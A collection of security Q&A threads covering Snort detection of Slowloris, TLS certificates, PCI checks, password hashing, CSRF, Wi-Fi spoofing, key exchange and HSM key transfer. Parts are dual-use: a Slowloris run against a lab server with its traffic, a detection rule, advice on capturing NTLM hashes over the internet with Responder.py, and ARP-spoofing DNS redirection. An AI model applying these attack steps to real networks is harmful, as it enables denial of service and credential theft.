IDS Snort rule to catch Slow-Loris I'm trying to write a rule to catch a Slow-Loris attack, this is what i have -

alert tcp any any -> any any (msg:"Possible Slow Loris attack"; classtype: denial-of-service; flow: to_server, established; pcre: !"/\x0D\x0A\x0D\x0A$/H"; threshold: type threshold, track by_dst, count 10, seconds 5; sid 3000009; rev:1;)

(I may have messed up the syntax a bit but that's because trying to format it here, i'm positive that the syntax is okay on my end)

I also tried messing with the RE a bit, tried "/\x0D\x0A$/H" and that didn't work either

The Slow-Loris that i tried to write myself and the Slow Loris which i downloaded from somewhere both send packets with "incomplete" HTTP headers, so they don't end with \r\n\r\n like a finished header. But i can't manage to catch either one.

Looked at the packets on Wireshark and they end with 0D 0A

Looked at downloaded.rules and the rule isn't there. Did tail for snort.conf and there are no errors there. Did service nsm status to see maybe the service itself didn't go up correctly, but it's all OK.
EDIT - There was a : missing, i fixed it and now it appears on downloaded.rules. still doesn't get caught though

Not really sure what i'm doing wrong, would appreciate some help.

It looks like there are a couple of things in your signature that won't work:

Using the /H option in PCRE utilizes the HTTP preprocessor and says that the content needs to be matched against the http_header.  When a GET request is parsed by the preprocessor, |0d 0a 0d 0a| signifies the end of the header; which means you cannot search for that inside the header.
When using flow or any HTTP preprocessors, the TCP stream is reassembled (by default, unless otherwise specified).  This means that in order to match content in the header, all of the packets that make up the HTTP request need to be observed and the request has to end before the preprocessor will be able to parse all of the parts that make up the request (e.g. http_method, http_uri, http_header).

Honestly, I am not sure what the best approach would be to write a signature to detect this activity [generically] would be, simply because it goes outside of the normal bounds of what Snort is designed to detect.

However, what I would recommend in this situation would be to find all of the publicly available tools for SlowLoris (starting with https://github.com/gkbrk/slowloris.git - available to install via pip3), run them in a testing environment and analyze what actually occurs over the wire.

I did that and this is the traffic that it generates:

GET /?1153 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0
Accept-language: en-US,en,q=0.5
X-a: 1350
X-a: 210
X-a: 518
X-a: 4622
X-a: 2951
X-a: 2666
X-a: 149
X-a: 1756
X-a: 4994
X-a: 2688

This happens on multiple connections up to the maximum number of sockets specified (150 by default).  Each connection would be kept alive with a incomplete HTTP GET request by sending an additional X-a header field every so often.

The way I would write a signature to detect this activity would be:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SlowLoris.py DoS attempt"; \
    flow:established,to_server,no_stream; content:"X-a:"; dsize:<15; \
    detection_filter:track by_dst, count 3, seconds 30; \
    classtype:denial-of-service; sid:1; rev:1; )

event_filter gen_id 1, sig_id 1, type limit, track by_src, count 1, seconds 5

Important things about this rule:

Added no_stream to flow option.  This tells the Stream5 preprocessor not to bother checking how the content relates in the context of the reassembled stream.  It basically just looks at the packet itself.  Important when using the dsize option.
Added dsize:<15.  The lines that contain the X-a headers are sent in single packets.  I observed a typical packet to look like:

0000   58 2d 61 3a 20 32 36 38 38 0d 0a                 X-a: 2688..

With four random digits for the value, the length of the content is 11 bytes.  I just decided to say <15 just in case.
Added detection_filter.  I find that a combination of detection_filter in the rule combined with an event_filter gives better control for alert-rate limiting and thresholding.  The detection_filter options I specified makes sure to only fire alerts if 3 or more occur from the same source within a 30 second window.
Added an event_filter to limit how many alerts fire once the detection_filter is reached.  By limiting alerts to 1 every 5 seconds, alerting will still be loquacious enough to let you know something's going on without flooding you with extraneous alerts.

Below is sample output from live testing using Snort v2.9.9.0 for the duration of 3 minutes

SlowLoris.py

(Python3) λ slowloris -p 80 192.168.126.128
[05-12-2017 13:45:01] Attacking 192.168.126.128 with 150 sockets.
[05-12-2017 13:45:01] Creating sockets...
[05-12-2017 13:45:05] Sending keep-alive headers... Socket count: 7
[05-12-2017 13:45:24] Sending keep-alive headers... Socket count: 7
[05-12-2017 13:45:43] Sending keep-alive headers... Socket count: 7
[05-12-2017 13:46:02] Sending keep-alive headers... Socket count: 7
[05-12-2017 13:46:21] Sending keep-alive headers... Socket count: 7
[05-12-2017 13:46:40] Sending keep-alive headers... Socket count: 7
[05-12-2017 13:46:59] Sending keep-alive headers... Socket count: 7
[05-12-2017 13:47:18] Sending keep-alive headers... Socket count: 7
[05-12-2017 13:47:37] Sending keep-alive headers... Socket count: 7
[05-12-2017 13:47:56] Sending keep-alive headers... Socket count: 7
^C

HTTP Server Log

user@host:~$ sudo python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
192.168.126.1 - - [05/Dec/2017 13:48:01] "GET /?1061 HTTP/1.1" 200 -
192.168.126.1 - - [05/Dec/2017 13:48:01] "GET /?524 HTTP/1.1" 200 -
192.168.126.1 - - [05/Dec/2017 13:48:01] "GET /?1171 HTTP/1.1" 200 -
192.168.126.1 - - [05/Dec/2017 13:48:01] "GET /?984 HTTP/1.1" 200 -
----------------------------------------
Exception happened during processing of request from ('192.168.126.1', 61831)
Traceback (most recent call last):
  File "/usr/lib/python2.7/SocketServer.py", line 290, in _handle_request_noblock
    self.process_request(request, client_address)
  File "/usr/lib/python2.7/SocketServer.py", line 318, in process_request
    self.finish_request(request, client_address)
  File "/usr/lib/python2.7/SocketServer.py", line 331, in finish_request
    self.RequestHandlerClass(request, client_address, self)
  File "/usr/lib/python2.7/SocketServer.py", line 654, in __init__
    self.finish()
  File "/usr/lib/python2.7/SocketServer.py", line 713, in finish
    self.wfile.close()
  File "/usr/lib/python2.7/socket.py", line 283, in close
    self.flush()
  File "/usr/lib/python2.7/socket.py", line 307, in flush
    self._sock.sendall(view[write_offset:write_offset+buffer_size])
error: [Errno 32] Broken pipe
----------------------------------------
192.168.126.1 - - [05/Dec/2017 13:48:01] "GET /?634 HTTP/1.1" 200 -
----------------------------------------
Exception happened during processing of request from ('192.168.126.1', 61832)
Traceback (most recent call last):
  File "/usr/lib/python2.7/SocketServer.py", line 290, in _handle_request_noblock
    self.process_request(request, client_address)
  File "/usr/lib/python2.7/SocketServer.py", line 318, in process_request
    self.finish_request(request, client_address)
  File "/usr/lib/python2.7/SocketServer.py", line 331, in finish_request
    self.RequestHandlerClass(request, client_address, self)
  File "/usr/lib/python2.7/SocketServer.py", line 654, in __init__
    self.finish()
  File "/usr/lib/python2.7/SocketServer.py", line 713, in finish
    self.wfile.close()
  File "/usr/lib/python2.7/socket.py", line 283, in close
    self.flush()
  File "/usr/lib/python2.7/socket.py", line 307, in flush
    self._sock.sendall(view[write_offset:write_offset+buffer_size])
error: [Errno 32] Broken pipe
----------------------------------------
192.168.126.1 - - [05/Dec/2017 13:48:01] "GET /?296 HTTP/1.1" 200 -
192.168.126.1 - - [05/Dec/2017 13:48:01] "GET /?640 HTTP/1.1" 200 -
----------------------------------------
Exception happened during processing of request from ('192.168.126.1', 61834)
Traceback (most recent call last):
  File "/usr/lib/python2.7/SocketServer.py", line 290, in _handle_request_noblock
    self.process_request(request, client_address)
  File "/usr/lib/python2.7/SocketServer.py", line 318, in process_request
    self.finish_request(request, client_address)
  File "/usr/lib/python2.7/SocketServer.py", line 331, in finish_request
    self.RequestHandlerClass(request, client_address, self)
  File "/usr/lib/python2.7/SocketServer.py", line 654, in __init__
    self.finish()
  File "/usr/lib/python2.7/SocketServer.py", line 713, in finish
    self.wfile.close()
  File "/usr/lib/python2.7/socket.py", line 283, in close
    self.flush()
  File "/usr/lib/python2.7/socket.py", line 307, in flush
    self._sock.sendall(view[write_offset:write_offset+buffer_size])
error: [Errno 32] Broken pipe
----------------------------------------

Snort Alerts

12/05-13:45:05.348446  [**] [1:1:1] SlowLoris.py DoS attempt [**] [Priority: 0] {TCP} 192.168.126.1:61831 -> 192.168.126.128:80
12/05-13:45:24.351347  [**] [1:1:1] SlowLoris.py DoS attempt [**] [Priority: 0] {TCP} 192.168.126.1:61828 -> 192.168.126.128:80
12/05-13:45:43.355735  [**] [1:1:1] SlowLoris.py DoS attempt [**] [Priority: 0] {TCP} 192.168.126.1:61828 -> 192.168.126.128:80
12/05-13:46:02.358688  [**] [1:1:1] SlowLoris.py DoS attempt [**] [Priority: 0] {TCP} 192.168.126.1:61828 -> 192.168.126.128:80
12/05-13:46:21.363346  [**] [1:1:1] SlowLoris.py DoS attempt [**] [Priority: 0] {TCP} 192.168.126.1:61828 -> 192.168.126.128:80
12/05-13:46:40.365834  [**] [1:1:1] SlowLoris.py DoS attempt [**] [Priority: 0] {TCP} 192.168.126.1:61828 -> 192.168.126.128:80
12/05-13:46:59.369221  [**] [1:1:1] SlowLoris.py DoS attempt [**] [Priority: 0] {TCP} 192.168.126.1:61828 -> 192.168.126.128:80
12/05-13:47:18.372293  [**] [1:1:1] SlowLoris.py DoS attempt [**] [Priority: 0] {TCP} 192.168.126.1:61828 -> 192.168.126.128:80
12/05-13:47:37.374814  [**] [1:1:1] SlowLoris.py DoS attempt [**] [Priority: 0] {TCP} 192.168.126.1:61828 -> 192.168.126.128:80
12/05-13:47:56.378355  [**] [1:1:1] SlowLoris.py DoS attempt [**] [Priority: 0] {TCP} 192.168.126.1:61828 -> 192.168.126.128:80

Hope this helps!


Is self-signed SSL server cert compatible with described architecture? I'm creating an application with a client-server architecture using SSL via TCP. Clients can authorize themselves on the server using login and password and become users. Only users can perform any actions with their accounts. Unauthorized clients can only authorize themselves.

Now clients only with my client app using my server, but I think it will be ok if somebody will use third-party app.

As I understood, now only my server authorize itself for the each client, so each client know that this is a real server. Server test command:

  openssl s_server -key server.key -cert server.crt -accept 1678

On the client side I have only .der certificate.

So, the questions:

Is this understanding correct?
Do I also need a client side keys for clients authorizations on the server, or this is enough for described architecture?
Do I need a CA cerificate or self-signed certificate will be the same?

Yes, in the usual TLS/SSL case, only the server authenticates itself to the client and not the other way round. To create trust for this authentication on the client side, you need to store either the server certificate itself (or its fingerprint) or a list of certificates from trusted certification authorities.
Since you are describing, that your users authenticate themselves via username and password, TLS client authentication is not neccesary. You could replace your user authentication with it or augment the security of your system by using both schemes but you can live without it.
You do not need a certificate signed by a public CA. If you are using a self signed certificate you need to store it in your client application and provide it to all third-party-client vendors. You have to take care though, if you plan or need to rollover the server's certificate, since that will become more complicated without using a trusted issuer certificate (You cannot just switch to a new certificate signed by the trusted CA but have to create the new self-signed some time before using it, include it into the trust store of your app and wait till all your users have updated).


Self Tests for cPanel Server PCI Compliance (Edited & added more information at the bottom of this question)

I've been tasked with "testing" a client's Linux web servers, running cPanel (which they own and mostly manage, until they come to me from time to time for help) for PCI Compliance. The client isn't doing anything with e-commerce now, but would like to consider it in the future.

I don't hold any security certs, but did go back to my alma mater last fall for a semester-long course in IT Security, in which the focus of the course was the 10 domains included in the CISSP certification. I've also done research on PCI Compliance in the past (and in one case a couple years ago, had to reprimand a small payment processor for asking me to allow one of my clients to store credit card data in plain-text format on a server I managed).

I'm basing my recommendations to my current client from that course as well as from the research I've done on PCI Compliance.

I've downloaded the Self-Assessment Questionnaire C-VT from the PCI Security Standards website, and have also downloaded the Navigating PCI DSS v2.0 document.

That said, I'm more interested in tests (or checklists) against the actual server I can perform. I found that McAfee and cPanel have a (free) cPanel plugin that will allow up to 4 scans a year. I've also found a couple of external free PCI scans (here and here).

I'm wary of "free" scans out there, especially if you don't know the organization behind the scan. However, my client understandably doesn't want to pay for a scan (other than my time) because they're not actually pursuing compliance or doing anything ecommerce right now (they just want to be prepared). They're also a nonprofit organization so don't have much cash.

So I have 3 related questions:

Are there any "free" scans you'd recommend or not recommend for testing a server?
Do you have any thoughts on McAfee's plugin for cPanel?
Are there any checklists (other than the PDF Documents available at pcisecuritystandards.org) that I can use to do a "self test" on the server and manually test it for PCI compliance?

Edit for More Information

Based on the feedback below in the form of answers and questions, I'd like to clarify a few things. The client isn't going through any official security audit or PCI Compliance test. They'd just like to have a good idea of what they're doing right, what needs work, and what they would need to focus on in the future if they do decide to process transactions through their server.

I chose the C-VT, because I read this in its introduction:

  Web-Based Virtual Terminal, No Electronic Cardholder Data Storage

If I'm hearing you guys correctly, I've made a wrong assumption, and the C-VT has nothing to do with websites, but instead, has to do with actual CC terminals. I'll take a look at SAQ-D. Thank you for that suggestion.

Thanks for the answers thus far. (End Edit)

In terms of scanning the system for compliance, it's a question of running vulnerability scans and see if they pass externally and if the risk is acceptable internally. In terms of whether the system is configured in a compliant manner takes more work as per the following list:

Is networking limited to protocols required for business purposes with no insecure protocols in use for logons etc such as telnet?
Is the system hardened according to an industry standard (SANS, NIST, CIS)?
Is HTTPS in place (transmission of sensitive data over encrypted channel)?
Is AV installed and up to date (not really necessary on *nix)?
Is the system patched up to date?
Does development adhere to a SDLC with trained developers?
Is user authorisation checked and based on roles?
Are password policies in place and enforced (length, complexity, aging etc)?
Is logging in place for authentication, File Integrity Monitoring, NTP sync, IDS/IPS, penetration testing?
Lots of policy documentation?

If you want to do a basic check, harden the system and run a vulnerability scan. If you need to be prepare for compliance, you'll need to go through each of the above and more depending on compliance requirements (i.e. SAQ/full assessment/which SAQ depending on payment channel etc)

In terms of your specific 3 questions...

Vulnerability scans are all pretty similar in that they scan and check for vulns and meaure against CVSS scoring. Nessus is good but there are plenty.

The McAfee plugin (I think) is based of their Foundstone stuff and is good.

In terms of checklists, it's a matter of going through the list above or the PCI standard or just considering best practice.


Is it possible to hash bcrypt passwords more securely? I'm wondering if it's possible to increase the work factor of an already encrypted bcrypt password.

e.g. I have a password that was encrypted with a work factor of 5, is it possible to increase the work factor to 6 without knowing the original password?

If not, it seems to me to defeat the entire point of bcrypt, since old passwords become less and less secure

Usually the authentication work as follow:

The user enters the password
The password is passed to a password verification function such as
password_verify($enteredPassword, $storedHash) in PHP
The function generates the appropriate rounds of the configured hash
function (take it from the hash value itself) and compare it with
the stored hash in the DB.
If both are equal, the authentication is successful.

The only thing you need to do is take the $enteredPassword and generate the hash through the new work factor procedure and store the new hash value in the DB.

Another option is to just prompt the user to update his/her password after they are logged in to the application.


Why should double submit CSRF tokens be cryptographically strong random numbers? I was just going through the OWASP's Cheat Sheet for CSRF Prevention. Regarding  the double submit cookies method, it says:

  the site should generate a (cryptographically strong) pseudorandom value

This method completely relies on the fact that Cookie/Header can not be injected by the attacker.

  An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy.

Then, why should the pseudo random value be cryptographically strong?

Short answer: To prevent brute forcing the CSRF token.

Let's take a trivial example: let's say your token is a single digit, accepting values from 0 to 9.
Now sure, an attacker cannot read this value from the cookie or header, but she does not have to - she can just have the attack send 10 CSRF requests, one with each possible value. One of them will be correct.

Using a cryptographically strong random value will prevent this, and can prevent the attacker from trying to scale up this attack (by having the attack send e.g. 1000 requests instead of 10, or 10,000, or... )


Did somebody try to spoof my wifi network? I am traveling on a train in Switzerland, working on a macbook connected to a wifi hotspot that I've set up on my Phone [1] using WPA2.

At some point along the journey, the internet connection drops. While I am wondering why, the OS asks me to reenter the password for the wifi. I find it strange (has never happened before), but I check the password on the phone (which, by the way, indicates good cellular reception) and enter it again on the macbook. I'm unable to connect.

I now change the hotspot settings on the phone, modifying the password and changing the SSID from "NX5TAL" to something temporary. I can connect to the new SSID without problems. Now, both SSIDs show up as available networks on my macbook.
Some minutes later, the "NX5TAL" SSID disappears.

While this is probably not enough information to determine with certainty what happened, I am wondering: is this how a (failed?) wifi spoofing attack would look like from the victim's point of view?

[1] Google Nexus 5x, Android 8.1.0, security patchlevel Dec 5, 2017

While this is probably not enough information to determine with
  certainty what happened, I am wondering: is this how a (failed?) wifi
  spoofing attack would look like from the victim's point of view?

Yes (which is not the same as saying that it happened).

Specifically, someone nearby could have used airdump-ng or equivalent to get your AP's SSID and MAC address.

Then it would have issued a forged deauth packet to log everybody off the AP. This closely matches your symptoms.

Finally it would have set up a fake access point with the same MAC and SSID, but transmitting at a markedly higher power (not really difficult this, as he's trying to overpower a smartphone). Your Mac then connects to the rogue AP.

Next thing you know, you're supplying your credentials (as Torin42 noticed, this requires some social engineering and works best with a little help from the OS) to the attacker. Who is apparently not interested in intercepting your traffic (otherwise he would have let you log, lying in wait for you to enter some other credentials such as email, home banking and such). But now that he has your credentials, he's free to hijack your access point and surf for free without any need to crack the WPA2 encryption.

The attempt failed because you changed your WiFi password, and because he did not allow you to connect to the rogue AP. The latter could have disclosed other credentials on the Mac, not doing the former would have left your AP exposed to a connection with stolen credentials.

There are diagnostic tools for PC and Android (don't know about the Mac) that would help recognize this situation - if you scan the neighbourhood with e.g. WiFi Analyzer (Play Store: com.farproc.wifi.analyzer), you would see your access point - which must be running on a different phone - with an expandable 'shadow' with the same MAC as the main one (WiFi range extenders would have the same, with two different MACs).

Or - even easier - if you turn off the AP on the phone and scan the neighbourhood, you would see your AP's name, which ordinarily could never be seen (as WiFi client and AP server functions are mutually exclusive).


Block cipher Implementation in C++ I'm writing an implementation of a block cipher in C++. I would like to study differential cryptanalysis of the cipher, so I'm generating random plaintexts and keys and then encrypt them.

Which is the best way to generate these random plaintexts and keys?
Is the random function offered by C++ random enough?
Should I use some hash functions or the same cipher as pseudorandom permuations to generate them?

Differential cryptanalysis is a kind of attack which exploits some fine details in the structure of the attacked cipher; you look at pairs of plaintexts, encrypted with the same key, and the corresponding ciphertexts. The pairs must be carefully chosen so that the difference between the two plaintexts (usually, bitwise difference, i.e. a XOR) exercises with "high" probability the exact algorithm weakness that is targeted. There is no "generic" differential cryptanalysis in which you would just throw random plaintexts at the cipher, and hope that they will somehow combine into a Megazord-like attack.

In plain words, to do differential cryptanalysis, you have to understand what you are doing, down to the hairy mathematical details. And when you reach that point, you see that the base bits for differential cryptanalysis are not very important (what matters is the difference between the two plaintexts). Therefore, in the context of a lab experiment, most random generators will do -- but you will probably have to generate a lot of pairs of plaintexts, so you might encounter some bottleneck if the PRNG is too slow (but don't believe it yet; measure it).

If you want to get the gist of differential cryptanalysis, go read this book and try to implement it on a reduced version of DES (down to, say, 8 rounds instead of the standard 16).


Do I need to worry about vulnerabilities that require administrative privileges to exploit? I am currently evaluating the impact that the recent NUC Firmware Advisory has on our machines.

What confuses me is that fact that those vulerabilities are scored with

a high risk score, but
require(!) administrative privileges to exploit (CVSS: PR:H).

Do I need to worry about this kind of vulnerability? The high risk score implies yes, but I have a hard time imagining what additional relevant damage an attacker who already(!) has administrative privileges (and, thus, already has complete control of the data stored on the device) can do by exploiting a security vulnerability on that system.

Your question does not distinguish between administrative privileges, and "highest privileges possible".

Where to go when you have elevated privileges?

"Elevated privileges" are not the highest you can go. Even though you might be administrator, the operating system kernel can still deny you access to some resources or to perform some actions. Furthermore, reinstalling the operating system will wipe your access (as long as the new system is not vulnerable again).

So in short, when you have elevated privileges, you can still get kernel privileges.

Where to go when you have kernel privileges?

When you have kernel privileges, you act as the operating system. Nobody can deny you access to resources, unless they were designed not to be accessible by anyone, because there is nobody to deny you.

This might seem like the ultimate privilege escalation, but you can still go further and become the Hypervisor.

Where to go when you have hypervisor privileges?

Have a look at this chart:

On a system set up with a Type-1 Hypervisor, several operating systems can run in parallel. Even the kernel of one operating system has no access to, or is aware of, the other operating system.

However, an exploit in the hypervisor could allow you to take over the hypervisor and give you complete access to all operating systems on the machine.

So where would you go from here? If you imagine the operating system bubbles in the chart to contain a "user space" and a "kernel space", then we gradually moved down from the privileges of a normal user, to the privileges of an elevated user, to those of the kernel and now to those of the hypervisor. It would only make sense to keep moving down, which would lead to the firmware, the abstraction layer between hardware and software.

Taking over the firmware would allow you to persist your malware, even when the operating system or the hypervisor are wiped clean. The only way to go even further is to exploit the hardware directly, as is the case with some hardware bugs.


What attack vector is prevented by using the 'coupling code'? In The Netherlands, one can access government services using a login platform called DigID. Some services require a two factor authentication, for which one can use a mobile app.

This requires the following steps

Enter on the website the four-letter 'coupling code' displayed on the app (changes at each use)
Scan QR code displayed on the website using the app
Confirm login and enter five-digit pin code (known only to the user) on the app

The first step is a recent addition to this process, but I can't figure out what purpose it serves. What possible security threat is mitigated with this first step?

A lot of QR Two Factor Authentication codes contain data that an attacker could use to compromise you. There is a good write up about it here if you are interested. I have never used this app, and don't speak Dutch, but what I gather from the Digid website is this:

When you type the koppelcode (coupling code) into the website, it is used to encrypt the QR Code, before creating and rendering it to you. As the app knows the koppelcode, it can decrypt the QR Code, while someone who has the QR Code but not the koppelcode, can not use the QR Code.

This means that if an attacker can read the QR code sent by Digid (by means of computer compromise, Van Eck phreaking, shoulder surfing, etc.), they will still not be able to use it, as it is encrypted with the koppelcode.

Of particular note, the Dutch Government seems to be paranoid about Van Eck Phreaking; as it banned electronic voting in the 2006 National Elections due to fears of votes not remaining secret, you can read about this here.


BCrypt workfactor for salt? From what I read here: How to securely hash passwords?, you're supposed to iterate the hashing. However in the implementation of BCrypt for .Net uses the workfactor (2^wf iterations) in the 'GenerateSalt' function. Since the salt isn't supposed to be secret, what's the point in spending cpu power into generating some random string?

Did I missunderstand the concept of a salt? A random string that you append to the password you want to hash, to make the hash for the same password with different salts different?

The 'Salt' that the generateSalt-function generates seems to be a combination of different parameters chained together with '$' followed by the encoded salt.

For example $2a$14$uJFVYDcsSqo.eofbk/xmAu
Where the 2a seems to be the version, and the 14 seems to be the number of iterations. Then in the next step when generating the hash it uses the argument from the string that the generateSalt-function creates as the iteration count in the hash function.

I find it a bit odd to pass arguments like that in the salt string argument of the hash function.

Ref: https://github.com/BcryptNet/bcrypt.net/issues/26


Is it possible to find out the oauth 2.0 client id and secret when an app is communicating with a web service? I'm building an mobile app that needs to communicate with a web service. To make sure that only my app is communicating with the web service, I authenticate using OAuth 2. The fact that I need to store a client id + secret in the app binary is unfortunate enough, but to retrieve an access token using OAuth 2 I need to send a client id and client secret to the server. Is it not very easy to:

Fake an SSL cert and add it to the list a mobile device's trusted certificates
Pretend to be the server and monitor the incoming requests

The request will contain the client id and client secret. Now I use these in some other app and communicate with my server.

Am I missing or not understanding something? Would I be better off using OAuth 1?

If you are distributing your "secret"  to the world with your application then its not longer a secret.   It is not possible to prevent an attacker from communicating to your web service.

You can never trust the client in a client/server architecture.


Watering Hole Website NTLM Steal Attack I'm trying to recreate a Watering hole SMB theft attack where you send a victim a link to your website containing code like "file://ip/file.gif"
Causing forced authentication which passes the NTLM hash
I have the code which executes the process (check reference links)
But how can I retrieve/steal the NTLM hash back over the internet remotely without being on the local network?
This process can be done locally very easily but I'm struggling with finding an NTLM listener to use over the internet remotely on a website
References:

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/leafminer-espionage-middle-east
https://blog.lumen.com/newly-discovered-watering-hole-attack-targets-ukrainian-canadian-organizations/
https://unit42.paloaltonetworks.com/xhunt-campaign-new-watering-hole-identified-for-credential-harvesting/

For this kind of attack you could use for example Responder.py
Please, bare in mind that in order to make it work over the internet it would be necessary to:

Enable outbound SMB connections on the server that you plan to attack.
NAT the port 445 on the attacker computer and ensure that no firewall is blocking it.

Once those two conditions are true you can now configure  Responder.py to enable a SMB server and after that start Responder.py.
Now you just need to test it accessing it.
Please, do not forget to close everything back once you have finished playing!


Can a wifi network have WPA encryption, WEP cipher and OPEN authentication? Can a wifi network have WPA encryption, WEP cipher and OPEN authentication?

This is weird to say the least

WPA supports the CCMP and TKIP ciphers
an SSID supports either WEP or WPA/WPA2

So the answer to your question is no, which begs the question : in which conditions did you get the screenshot?


Two message key agreement and mutual authentication protocol? I am looking for, but not finding, a published protocol that does something similar to TLS 1.3 mutual authentication, but simplified by using assumptions to reduce the chattiness of TLS.

If we assume that some set of clients are configured with key/cert pairs and the server's root cert, and the server has a key/cert pair and the client's root cert, and that the clients and server already know the cipher suite, can mutual authentication and key establishment be done with two messages?

I am thinking something like this:

C: ECDHE key material, client cert chain, signature (of something)

S: ECDHE key material, server cert chain, signature (also of something), Encrypted Data using AE

At this point, the two sides have apparently agreed on a ECDH key, and both sides have validated a signature and a cert chain. So...good to go?

Does this sound like anything already out there, or is it obviously deeply flawed? Is this just authenticated DH?

Edit: This appears to be similar to RFC 3830, so I guess that answers the question of something already existing.

Triple Diffie-Hellman (3DH) is a simple authenticated key exchange with forward security and deniability.

Client and servers each generate a long term (identity) key pair. For each key exchange they generate an ephemeral key. It uses the same number of messages as ordinary DH.

The client sends both its public keys (identity and ephemeral).
The server verifies the client's identity public key. The server responds with its two keys.
Both sides derive their symmetric keys using three Diffie-Hellman exchanges. (Something like the following.)

X1 = DHE(ClientEphemeral, ServerEphemeral)
X2 = DHE(ClientEphemeral, ServerIdentity)
X3 = DHE(ClientIdentity, ServerEphemeral)
SharedKeyn = KDF(X1 || X2 || X3, n)
The client and server destroy their ephemeral keys.

No dedicated signing algorithm is needed for authentication with 3DH.

Since you mentioned ECDH and because it doesn't sound like you have the specifics of some other  key exchange key scheme worked out, I recommend using 3DH instead. (Use symmetric key encryption and symmetric key authentication, obviously.)


Can the sandboxing technique prevent a buffer overflow attack? Buffer overflow Attack: Sample Authorization
void A( ) {
  int authorized;
  char name [128];
  authorized = check credentials (...); /* the attacker is not authorized, so returns 0 */
  printf ("What is your name?\n");
  gets (name);
  if (authorized != 0) {
      printf ("Welcome %s, here is all our secret data\n", name)
      /* ... show secret data ... */
  } else
      printf ("Sorry %s, but you are not authorized.\n");
  }
}

The code is meant to do an authorization check. Only users with the right credentials
are allowed to see the top secret data. The function check credentials is
not a function from the C library, but we assume that it exists somewhere in the
program and does not contain any errors. Now suppose the attacker types in 129
characters. As in the previous case, the buffer will overflow, but it will not modify
the return address. Instead, the attacker has modified the value of the authorized
variable, giving it a value that is not 0. The program does not crash and does not
execute any attacker code, but it leaks the secret information to an unauthorized
user.
=>   Can the sandboxing technique prevent attack? How?

Can the sandboxing technique prevent attack? How?

No, sandboxing will not prevent attacks designed to take advantage of this buffer overflow.
To quote Wikipedia,

In computer security, a sandbox is a security mechanism for separating
running programs, usually in an effort to mitigate system failures
and/or software vulnerabilities from spreading. It is often used to
execute untested or untrusted programs or code, possibly from
unverified or untrusted third parties, suppliers, users or websites,
without risking harm to the host machine or operating system.

In your case, the program is wholly contained.  The authentication is within the program, the authentication bypass is within the program, and the putative secret information is within the program.  All the harm that is done is within the program; it does not touch other programs or the operating system.
Therefore, a sandbox, which separates programs, cannot impact the security of this one program.  Sandboxes address sets of programs; they do not protect individual programs.


How to securely transfer DUKPT BDK between HSMs? I'm trying to understand best practices and capabilities regarding the use of an HSM, e.g the Thales Payshield 9000.

Specifically, I wish to securely transfer a BDK for DUKPT from one HSM to a second, without it ever being in the clear, or decryptable.

Is it possible to do this by:

Create a new RSA pair on HSM B (destination)
Export the public key and transfer, and load on HSM A (source)
Encrypt the BDK at the source, using that public key, and export
Transfer that encrypted version to HSM B, and load
Decrypt using private key, and load as BDK

Or have I misunderstood the capabilities?

Is there a better, standard, way of doing this?

Many thanks

Spoke to a sales rep of Thales distributor.

Generate a Zone Master Key (ZMK), which is a KEK.
Distribute that to the destination party, in multiple components, via different media.
Load that ZMK in destination HSM.
Source HSM can now export that BDK, encrypted using the ZMK, which can now be sent to destination
And loaded into destination HSM and decrypted using the shared ZMK.

So like what I proposed, but with symmetric, instead of asymmetric.

This does not inhibit the 3 ZMK component custodians from colluding - retaining the ZMK somewhere, and then being able to later export the BDK and decrypt it.   But apparently this is the standard way.


How to force users on my LAN to use a specific DNS server with arp poisoning? I'm attempting to force all hosts on my LAN to use a specific DNS server to filter certain material, however I'm running into problems.

I've had problems in the past trying to configure my router's DHCP to assign the desired DNS server to hosts because some users have simply learned to set their own DNS server (Google's 8.8.8.8, for example) on computer.

Currently, I have an ARP poisoning script to redirect all traffic from the gateway router to my machine. Meanwhile, I have a second python script listening for Port 53 traffic so I can intercept the DNS lookup packets, modify the destination IP from the original DNS server to the desired DNS server, then send them on towards the new DNS server.

Am I thinking about this the right way?

Is there an easier way to force users onto a certain DNS server?

It seems like I'm not even getting any traffic on my machine for port 53, even though the firewall for that port is open, so I don't even have the chance to view the DNS request packets when a user is trying to resolve a dns lookup, let alone modify the packet.

I would really appreciate any feedback or help. Thanks!

You are close, but there are a couple issues. Even though traffic may be redirected to your machine as a result of ARP poisoning, your socket on port 53 will not receive any packets that aren't addressed to your system, which will not be the case if clients have specified their own DNS server (i.e. your machine is on 192.168.1.x, but the packet is destined for 8.8.8.8. It will likely be forwarded and not processed by your network stack.).

To remedy this, you can use some firewall rules. You don't even need your listener on port 53 to accomplish this. Here's an example firewall rule to add to your MitM machine (or router if possible):

iptables -t nat -I PREROUTING -p udp --dport 53 -j DNAT --to-destination <your DNS server's IP address>

This will rewrite any DNS packets passing through your machine to have a destination address of your DNS server, assuming you have no other firewall rules preventing this.

Also, @SteffenUllrich is right; it is a hack to ARP-spoof your own network, and blocking or intercepting DNS is not a foolproof solution. Other protocols will still work, such as DNS-over-HTTPS or DNScrypt. The users could tunnel their traffic over a VPN or use a proxy server, or many other techniques.

Another more in-depth solution may be to restrict all outbound traffic on your network, and force users to use an HTTP proxy that you control. You'd also have to intercept TLS traffic as well, meaning you'd need to install certs on all devices.


Can I test my own network? I'm currently trying to enter the field of information security and I was just wondering if there was anything barring me from testing my own network for security vulnerabilities? I only have a couple of devices (Android, Microsoft, Apple, Netgear, etc.) and I would like to do some rudimentary pentests. This is primarily an academic exercise. Are there any agreements (with device manufacturers), laws, or ethical codes I would be violating if I set up a private network specifically for this purpose? What do white-hat hackers in the field do to test Android and Windows for example?

There is nothing hindering you from testing within your own network. To get a rudimentary understanding of what is involved with testing, I suggest you familiarize yourself with the Penetration Testing Execution Standard, OSSTMM, and other similar pentesting frameworks. Once you begin establishing the who, what, when, where and why, it will make things easier for you to set up your own environment. For testing I never set up anything in my network (there is no trying to mimic a client) because I can never know what patch levels they have, what software is installed, and so forth. Rather than re-invent wheels, there are plenty of "hackable" virtualized instances you could download. I suggest NetInVM. But to answer your question, what you do in your private network is not bound by any of the common USC (US law) computer related laws.


